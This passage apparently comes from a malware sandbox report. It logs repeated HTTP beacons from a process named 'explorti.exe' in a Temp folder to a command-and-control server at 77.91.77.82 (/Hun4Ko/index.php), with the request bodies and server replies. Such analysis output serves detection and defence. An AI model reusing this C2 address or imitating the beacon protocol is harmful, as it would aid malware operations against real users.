Jul 5, 2024 06:24:12.731084108 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.7	51544	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:12.847774029 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:24:13.588449955 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:24:13.589308023 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:24:13.814126015 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.7	51545	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:13.923433065 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:24:14.635596991 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:24:14.636581898 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:24:14.857943058 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.7	51546	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:14.970124006 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:24:15.661734104 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:24:15.662564039 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:24:15.881264925 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.7	51547	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:16.001106977 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:24:16.702389002 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:24:16.703701973 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:24:16.925019979 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.7	51548	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:17.033857107 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:24:17.759968996 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:24:17.760802031 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:24:17.980654001 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.7	51549	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:18.095313072 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:24:18.808243990 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:24:18.809000015 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:24:19.035644054 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.7	51550	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:19.258825064 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:24:19.869935989 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:24:19.872097969 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:24:20.097325087 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.7	51551	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:20.203943968 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:24:20.892750978 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:24:20.893652916 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:24:21.110109091 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.7	51552	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:21.220921040 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:24:21.944360018 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:24:21.946038008 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:24:22.171880007 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.7	51553	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:22.295912981 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:24:23.003806114 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:24:23.021168947 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:24:23.239720106 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.7	51554	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:23.360395908 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:24:24.072352886 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:24:24.075212002 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:24:24.295891047 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.7	51555	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:24.407300949 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:24:25.700588942 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:24:25.700733900 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:24:25.700850964 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:24:25.706806898 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:24:25.922585011 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.7	51556	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
